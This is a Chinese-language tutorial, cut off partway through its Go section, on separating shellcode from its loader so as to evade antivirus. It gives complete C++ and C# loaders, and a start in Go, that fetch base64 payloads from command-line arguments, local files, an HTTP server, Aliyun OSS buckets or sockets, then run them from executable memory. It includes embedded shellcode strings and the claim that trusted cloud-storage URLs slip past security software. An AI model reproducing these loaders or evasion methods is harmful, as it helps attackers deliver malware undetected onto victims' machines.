5-分离

注意:这里我只以shellcode进行base64编码后的字符串作为传输的数据,当然你也可以换成其他加密算法,注意数据类型之间的转换就可以了。

一、C++

1.1 读取命令行参数

在 C++ 中,读取命令行参数通常通过 main 函数的参数 argcargv 实现。argc 是参数的数量,argv 是一个字符串数组,包含所有传递给程序的参数。

#include <iostream>
#include <string>
#include <vector>
#include <windows.h>
// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

int main(int argc, char* argv[]) {

    // base64编码的字符串
    const char* base64string = argv[1];

    size_t len = strlen(base64string);
    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode((unsigned char*)base64string, len);


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

1.2 本地读取文本文件中的shellcode

注意:如果使用clang和MinGW编译器,则无法读取有中文路径的文件,MSVC编译器无影响

#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
#include <windows.h>

// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

int main() {
    std::string filePath = "/* shellcode的路径 */";
    std::ifstream file(filePath);

    if (!file.is_open()) {
        std::cerr << "无法打开文件: " << filePath << std::endl;
        return 1;
    }

    std::string base64string;
    std::stringstream buffer;
    buffer << file.rdbuf();
    base64string = buffer.str();
    file.close();

    size_t len = base64string.length();
    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode((unsigned char*)base64string.data(), len);


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

1.3 远程读取shellcode-简单http服务器

在自己的VPS服务器上开启http服务器:python -m http.server 8888

使用到了 wininet.lib 这个静态库。#pragma comment(lib, "wininet.lib") 是一个编译指令,用于告诉编译器在链接阶段链接特定的库。

#include <iostream>
#include <vector>
#include <windows.h>
#include <wininet.h>

#pragma comment(lib, "wininet.lib")

// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

size_t GetUrl_RawContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD contentLength = 0;
    DWORD bufferSize = sizeof(contentLength);
    DWORD index = 0;

    // 打开一个与互联网的连接
    hInternet = InternetOpenA("User  Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    if (!HttpQueryInfoA(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferSize, &index)) {
        std::cerr << "HttpQueryInfo failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 调整buffer的大小,以便存储原始字节数据
    buffer.resize(contentLength);

    // 读取URL返回的内容到buffer中
    if (!InternetReadFile(hConnect, buffer.data(), contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
        bytesRead = 0; // 读取失败,返回0
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数
    return bytesRead;
}

int main() {
    const char* url = "http://127.0.0.1:8888/shellcode64.txt"; // 替换为你的文件 URL
    std::vector<unsigned char> base64string;

    size_t bytesRead = GetUrl_RawContent(const_cast<LPSTR>(url), base64string);
    if (bytesRead > 0) {
        std::cout << "Read " << bytesRead << " bytes:\n";
        std::cout.write(reinterpret_cast<const char*>(base64string.data()), bytesRead);
        std::cout << std::endl;
    }
    else {
        std::cerr << "Failed to read content from URL." << std::endl;
    }

    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode(base64string.data(), base64string.size());


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;

    return 0;
}

1.4 远程读取OSS存储桶的文件

大厂的OSS存储桶是有“绿标”的,当你访问带有“绿标”的url时,杀软不会拦截。

我这里使用的是阿里云的OSS存储桶,这种shellcode分离方式看个人喜好进行选择。

官网对象存储(OSS)-阿里云帮助中心

与读取http服务器上的文件一样,只需要指定url就可以读取到。记得在几分钟内访问哦,不然可能会失效。当然也可以去oss控制台设置时间

#include <iostream>
#include <vector>
#include <windows.h>
#include <wininet.h>

#pragma comment(lib, "wininet.lib")

// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

size_t GetUrl_RawContent(LPSTR url, std::vector<unsigned char>& buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD contentLength = 0;
    DWORD bufferSize = sizeof(contentLength);
    DWORD index = 0;

    // 打开一个与互联网的连接
    hInternet = InternetOpenA("User  Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
        return 0;
    }

    // 打开一个URL连接
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect == NULL) {
        std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 查询HTTP响应头中的内容长度
    if (!HttpQueryInfoA(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferSize, &index)) {
        std::cerr << "HttpQueryInfo failed. Error: " << GetLastError() << std::endl;
        InternetCloseHandle(hConnect);
        InternetCloseHandle(hInternet);
        return 0;
    }

    // 调整buffer的大小,以便存储原始字节数据
    buffer.resize(contentLength);

    // 读取URL返回的内容到buffer中
    if (!InternetReadFile(hConnect, buffer.data(), contentLength, &bytesRead)) {
        std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
        bytesRead = 0; // 读取失败,返回0
    }

    // 关闭连接
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);

    // 返回读取到的字节数
    return bytesRead;
}

int main() {
    const char* url = " /*替换为你的文件 URL */"; 
    std::vector<unsigned char> base64string;

    size_t bytesRead = GetUrl_RawContent(const_cast<LPSTR>(url), base64string);
    if (bytesRead > 0) {
        std::cout << "Read " << bytesRead << " bytes:\n";
        std::cout.write(reinterpret_cast<const char*>(base64string.data()), bytesRead);
        std::cout << std::endl;
    }
    else {
        std::cerr << "Failed to read content from URL." << std::endl;
    }

    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode(base64string.data(), base64string.size());


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

1.5 socket传输shellcode

不是很推荐这种方法

注意:这个服务器代码只能在windows运行。

#include <iostream>  
#include <winsock2.h>  
  
#pragma comment(lib, "ws2_32.lib") // Link with ws2_32.lib  
  
int main() {  
    WSADATA wsaData;  
    SOCKET serverSock, clientSock;  
    struct sockaddr_in server, client;  
    int clientLen = sizeof(client);  
    const int serverPort = 8080;  
  
    // 初始化 Winsock    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {  
        std::cerr << "Failed to initialize Winsock." << std::endl;  
        return 1;  
    }  
  
    // 创建 socket    serverSock = socket(AF_INET, SOCK_STREAM, 0);  
    if (serverSock == INVALID_SOCKET) {  
        std::cerr << "Failed to create socket." << std::endl;  
        WSACleanup();  
        return 1;  
    }  
  
    // 设置服务器地址  
    server.sin_family = AF_INET;  
    server.sin_addr.s_addr = INADDR_ANY; // 监听所有可用的接口  
    server.sin_port = htons(serverPort);  
  
    // 绑定 socket    if (bind(serverSock, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR) {  
        std::cerr << "Bind failed." << std::endl;  
        closesocket(serverSock);  
        WSACleanup();  
        return 1;  
    }  
  
    // 开始监听  
    listen(serverSock, SOMAXCONN);  
    std::cout << "Waiting for incoming connections on port " << serverPort << "..." << std::endl;  
  
    // 接受连接  
    clientSock = accept(serverSock, (struct sockaddr*)&client, &clientLen);  
    if (clientSock == INVALID_SOCKET) {  
        std::cerr << "Accept failed." << std::endl;  
        closesocket(serverSock);  
        WSACleanup();  
        return 1;  
    }  
  
    // 处理连接  
    const char* message = "UFFSU1ZXVWpgWmhjYWxjVFlIg+woZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEMF1fXltaWVjD";  //加密后的shellcode
    send(clientSock, message, strlen(message), 0);  
    std::cout << "Message sent to client." << std::endl;  
  
    // 关闭 socket    closesocket(clientSock);  
    closesocket(serverSock);  
    WSACleanup();  
    return 0;  
}

客户端代码

#include <iostream>
#include <winsock2.h>
#include <vector>
#include <windows.h>

#pragma comment(lib, "ws2_32.lib") // 链接 Winsock 库

// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

int main() {
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    const char* serverIp = "127.0.0.1"; // 服务器 IP 地址
    const int serverPort = 8080;        // 服务器端口

    // 初始化 Winsock
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
        std::cerr << "Failed to initialize Winsock." << std::endl;
        return 1;
    }

    // 创建 socket
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == INVALID_SOCKET) {
        std::cerr << "Failed to create socket." << std::endl;
        WSACleanup();
        return 1;
    }

    // 设置服务器地址
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(serverIp); // 将 IP 地址转换为网络字节序
    server.sin_port = htons(serverPort);           // 将端口号转换为网络字节序

    // 连接到服务器
    if (connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) {
        std::cerr << "Connection failed." << std::endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // 发送消息到服务器
    const char* message = "Hello, Server!";
    if (send(sock, message, strlen(message), 0) < 0) {
        std::cerr << "Send failed." << std::endl;
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // 接收服务器的响应
    char buffer[1500];
    int bytesReceived = recv(sock, buffer, sizeof(buffer) - 1, 0);
    if (bytesReceived < 0) {
        std::cerr << "Receive failed." << std::endl;
    }
    else {
        buffer[bytesReceived] = '\0'; // 添加字符串结束符
        std::cout << "Server response: " << buffer << std::endl;
    }

    // 关闭 socket
    closesocket(sock);
    WSACleanup();

    size_t len = sizeof(buffer) / sizeof(buffer[0]);
    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode((unsigned char*)buffer, len);


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

二、CSharp

1.1 读取命令行参数

与C++一样,可以在 Main 方法定义为接受一个字符串数组,数组中的每个元素都是命令行传递的参数。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {
            //base64编码后的字符串
            string encoded = args[0];

            //base64解密之后得到byte[]类型的shellcode
            byte[] shellcode = Convert.FromBase64String(encoded);

            // 申请可执行内存
            IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            // 将 shellcode 复制到申请的内存
            Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

            // 创建线程执行内存中的代码
            uint threadId;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

            // 等待线程执行完成
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // 释放内存(可选)
            VirtualFree(pMemory, 0, 0x8000);
        }
    }
}

1.2 本地读取文本文件中的shellcode

C# 读取文件非常的方便,用到了 System.IO 这个命名空间,C # 读取文件的代码如下

// 指定文件路径
string filePath = "/* 文件路径 */";
// 读取文件内容
String base64String = File.ReadAllText(filePath);

完整代码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {

            // 指定文件路径
            string filePath =  "/* 文件路径 */";

            // 读取文件内容
            String base64String = File.ReadAllText(filePath);

            //base64解密之后得到byte[]类型的shellcode
            byte[] shellcode = Convert.FromBase64String(base64String);

            // 申请可执行内存
            IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            // 将 shellcode 复制到申请的内存
            Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

            // 创建线程执行内存中的代码
            uint threadId;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

            // 等待线程执行完成
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // 释放内存(可选)
            VirtualFree(pMemory, 0, 0x8000);
        }
    }
}

1.3 远程读取shellcode-简单http服务器

C# 远程读取文件的方式如下

string fileUrl = "/* URL */";
string base64String;
// 创建 WebClient 实例
WebClient webClient = new WebClient();

// 打开远程文件的流
using (Stream stream = webClient.OpenRead(fileUrl))
{
	// 使用 StreamReader 读取流中的内容
	using (StreamReader reader = new StreamReader(stream))
	{
		// 读取文件内容
		base64String = reader.ReadToEnd();
	}
}

完整代码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {
            string base64String;
            // 指定文件路径
            string fileUrl = "/* URL */";
            try
            {  
                // 创建 WebClient 实例
                WebClient webClient = new WebClient();

                // 打开远程文件的流
                using (Stream stream = webClient.OpenRead(fileUrl))
                {
                    // 使用 StreamReader 读取流中的内容
                    using (StreamReader reader = new StreamReader(stream))
                    {
                        // 读取文件内容
                        base64String = reader.ReadToEnd();
                    }
                }
                //base64解密之后得到byte[]类型的shellcode
                byte[] shellcode = Convert.FromBase64String(base64String);

                // 申请可执行内存
                IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

                // 将 shellcode 复制到申请的内存
                Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

                // 创建线程执行内存中的代码
                uint threadId;
                IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

                // 等待线程执行完成
                WaitForSingleObject(hThread, 0xFFFFFFFF);

                // 释放内存(可选)
                VirtualFree(pMemory, 0, 0x8000);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

1.4 远程读取OSS存储桶的文件

与C++介绍的方法一致,只需修改fileurl即可

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {
            string base64String;
            // 指定文件路径
            string fileUrl = "/* URL */";
            try
            {  
                // 创建 WebClient 实例
                WebClient webClient = new WebClient();

                // 打开远程文件的流
                using (Stream stream = webClient.OpenRead(fileUrl))
                {
                    // 使用 StreamReader 读取流中的内容
                    using (StreamReader reader = new StreamReader(stream))
                    {
                        // 读取文件内容
                        base64String = reader.ReadToEnd();
                    }
                }
                //base64解密之后得到byte[]类型的shellcode
                byte[] shellcode = Convert.FromBase64String(base64String);

                // 申请可执行内存
                IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

                // 将 shellcode 复制到申请的内存
                Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

                // 创建线程执行内存中的代码
                uint threadId;
                IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

                // 等待线程执行完成
                WaitForSingleObject(hThread, 0xFFFFFFFF);

                // 释放内存(可选)
                VirtualFree(pMemory, 0, 0x8000);
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
    }
}

1.5 socket传输shellcode

C# 实现socket特别的方便

服务器

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace _1._3_解密
{
    internal class Program
    {
        static void Main()
        {
            // 定义服务器地址和端口
            string serverAddress = "127.0.0.1";
            int serverPort = 12345;

            // 创建 socket 服务器
            using (var serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))
            {
                try
                {
                    // 绑定服务器地址和端口
                    serverSocket.Bind(new IPEndPoint(IPAddress.Parse(serverAddress), serverPort));

                    // 开始监听客户端连接
                    serverSocket.Listen(1);
                    Console.WriteLine("服务器已启动,等待客户端连接...");

                    while (true)
                    {
                        // 等待客户端连接
                        using (var clientSocket = serverSocket.Accept())
                        {
                            Console.WriteLine("客户端已连接: " + clientSocket.RemoteEndPoint);

   
                            // 发送数据到客户端的另一个变量
                            string dataToSend = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAAB=";
                            byte[] additionalData = Encoding.UTF8.GetBytes(dataToSend);
                            clientSocket.Send(additionalData);

                            // 关闭客户端连接
                            clientSocket.Shutdown(SocketShutdown.Both);
                            clientSocket.Close();
                        }
                    }
                }
                catch (Exception e)
                {
                    Console.WriteLine("发生错误: " + e.Message);
                }
            }
        }
    }
}

客户端

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;

class Program
{
    // 声明 Windows API 函数
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    static void Main()
    {
        // 定义服务器地址和端口
        string base64String;
        string serverAddress = "127.0.0.1";
        int serverPort = 12345;

        // 创建 socket 客户端
        using (var clientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp))
        {
            try
            {
                // 连接服务器
                clientSocket.Connect(serverAddress, serverPort);
                Console.WriteLine("已连接到服务器: " + clientSocket.RemoteEndPoint);

                // 接收服务器响应
                byte[] buffer = new byte[2048];
                int bytesRead = clientSocket.Receive(buffer);
                string response = Encoding.UTF8.GetString(buffer, 0, bytesRead);
                Console.WriteLine("服务器响应: " + response);
                base64String = response;

                //base64解密之后得到byte[]类型的shellcode
                byte[] shellcode = Convert.FromBase64String(base64String);

                // 申请可执行内存
                IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

                // 将 shellcode 复制到申请的内存
                Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

                // 创建线程执行内存中的代码
                uint threadId;
                IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

                // 等待线程执行完成
                WaitForSingleObject(hThread, 0xFFFFFFFF);

                // 释放内存(可选)
                VirtualFree(pMemory, 0, 0x8000);
            }
            catch (Exception e)
            {
                Console.WriteLine("发生错误: " + e.Message);
            }
        }
    }
}

三、Go

1.1 读取命令行参数

在 Go 语言中,可以使用 os 包来读取命令行参数。命令行参数在 Go 中通过 os.Args 变量访问。os.Args 是一个字符串切片,包含了命令行中传递给程序的所有参数,第一个元素是程序的名称,后面的元素是传递的参数。

package main  
  
import (  
    "encoding/base64"  
    "fmt"    
    "golang.org/x/sys/windows"    
    "os"    
    "unsafe")  
  
func main() {  
  
    // 检查参数数量  
    if len(os.Args) < 2 {  
       fmt.Println("没有提供命令行参数。")  
       return  
    }  
    // 待解密的字符串  
    str := os.Args[1]  
  
    // 解密  
    shellcode, _ := base64.StdEncoding.DecodeString(str)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

1.2 本地读取文本文件中的shellcode

Go中读取文件内容的方式有很多种,我只介绍 os.ReadFile 方法

package main  
  
import (  
    "encoding/base64"  
    "fmt"    "golang.org/x/sys/windows"    "os"    "unsafe")  
  
func main() {  
    // 读取整个文件内容  
